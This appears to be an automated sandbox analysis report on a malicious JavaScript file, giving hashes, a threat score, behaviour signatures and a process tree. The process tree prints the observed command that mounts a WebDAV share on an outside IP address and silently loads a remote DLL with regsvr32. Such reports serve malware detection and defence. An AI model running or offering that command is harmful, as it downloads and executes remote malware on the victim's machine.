Analysis

  • max time kernel
    140s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 07:49

General

  • Target

    77031955526688281.js

  • Size

    5KB

  • MD5

    517119e5c91cf963ca435486578e85b1

  • SHA1

    3614fa7b8ceb9957bf780289a157b6b3bd2080e5

  • SHA256

    35463244378e9b1295251a25727fae9ed65188adcc28a6587d494c069fe2f044

  • SHA512

    cca0098a1443d35f4fee4b01827c7802f7a1fc0853b935da58d078176c425cc6130f8724627433045b254f38e52ab12d0048a272b44329902214bb387aa374ea

  • SSDEEP

    48:T08lL8wZuyVb1AvDGH9aHTz17dHfIBbxnyNi5QQeyhCOH0oAsKrZeRzp9LRCpiYI:aN4az8WZYmigtTqFvAkmCzqFvS

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\77031955526688281.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4484
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\14299284221.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5068
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4992

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads